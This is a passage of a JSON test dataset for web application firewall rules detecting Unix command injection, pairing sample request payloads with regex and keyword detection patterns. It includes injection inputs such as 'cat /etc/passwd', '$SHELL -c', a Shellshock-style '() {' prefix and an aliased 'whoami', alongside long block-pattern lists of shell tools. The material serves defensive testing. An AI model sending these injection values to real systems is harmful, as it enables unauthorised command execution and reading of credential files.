ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "Test for false positive with name Axel Smith" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=Compra a MODULAR ALUMINIO ESTRUCTURAL, STRUT PROFILE PG30 30X30 4 SLOTS | SELF TAPPING SCREW PG30 M1\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-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64|nc)|(?:lkid|rwap|yobu)(?:[\\s\\x0b&\\),<>\\|]|$)|sd(?:cat|iff|tar)|u(?:iltin|nzip2|sybox)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "False Positive: matching pipe `self`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "r=queue%2Fsendmails" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5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\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|h(?:(?:attr|mod|o(?:om|wn)|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|ef-|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$))|pass)|lang\\+\\+|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|mm(?:[\\s\\x0b&\\),<>\\|]|$)|proc)|(?:p(?:an|io)|scli)(?:[\\s\\x0b&\\),<>\\|]|$))|d(?:(?:iff|mesg|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:as(?:[\\s\\x0b&\\),<>\\|]|$)|cker-)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|(?:fax|grep|macs|nd(?:if|sw)|sac|xpr)(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|grep(?:[\\s\\x0b&\\),<>\\|]|$)|iletest|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:core|insh|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|(?:etca|unzi)p|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod))|(?:htop|jexec)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:(?:conv|ftop)(?:[\\s\\x0b&\\),<>\\|]|$)|pp(?:eveprinter|find|tool))|l(?:ast(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|osetup|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|wp-download|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:(?:ilq|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:fifo|nod(?:[\\s\\x0b&\\),<>\\|]|$)|temp)|locate|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:sm|wk)|(?:ma|ohu)p|ping|roff|stat)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|et(?:(?:c|st)at|kit-ftp|plan))|o(?:nintr|pkg(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|(?:er(?:f|l5?)|(?:ft|gre)p|i(?:gz|ng6)|(?:op|ush)d|s(?:ed|ql))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|k(?:exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon[23]))|r(?:(?:aku|bash|nano|pmdb|unc|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:alpath|boot(?:[\\s\\x0b&\\),<>\\|]|$))|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:diff|ftp|lsh|ocat)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ndmail(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:cap|env|sid))|h(?:\\.distrib|uf(?:[\\s\\x0b&\\),<>\\|]|$))|pwd\\.db|sh-(?:a(?:dd|gent)|copy-id)|td(?:err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ysctl)|t(?:(?:ailf|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:ing|traceroute))|elnet|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$)))|u(?:n(?:(?:iq|rar|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|lz(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma)|pigz|zstd)|ser(?:(?:ad|mo)d|del))|vi(?:(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|w(?:get(?:[\\s\\x0b&\\),<>\\|]|$)|hoami)|x(?:(?:args|etex|more|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|[ef]grep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|std(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less)))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932260", "test_description": "False Positive: matching `sendmail`" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=!-1!-2" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "!-\\d", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932330", "test_description": "Unix shell history invocation: relative position" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932160-1=cat%20/etc/passwd" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932160-2=/usr/bin/perl -e 'print readline' some-file.txt" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932160-2=dont match commands that are not fully qualified like bash python and perl." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=/bin/gunzip -c /var/log/something_sensitive.gz" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/gunzip" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=/bin/unxz -c /var/log/something_sensitive.xz" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/unxz" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "sentence=The zip on my coat is stuck" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Negative test: Don't match against the word zip" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cmd=/bin/ab" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Triggering only this rule and no other one" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%24SHELL%20-c%20%22echo%20hi%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Unix Command Injection - $SHELL test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "code=%24%7BSHELL%7D%20-c%20%22echo%20hi%22" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Unix Command Injection - ${SHELL} test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=bin/ansible" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/ansible" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=bin/chef" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/chef" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=bin/cscli" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/cscli" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=bin/visudo" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@pmFromFile", "argument": "unix-shell.data", "negated": false } }, "transformations": [ "none", "cmdLine", "normalizePath" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932160", "test_description": "Positive test: Match against bin/visudo" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%28%29%20%7B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "FILES_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^\\(\\s*\\)\\s+{", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932171", "test_description": "Test for '() {' in ARGS_NAMES" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=%28%29%20%7B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "FILES_NAMES", "part": "", "negated": false } ], "operator": { "type": "@rx", "argument": "^\\(\\s*\\)\\s+{", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932171", "test_description": "Test for '() {' in ARGS" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "rce=alias%20eennvv%3Denv%26eennvv%20whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 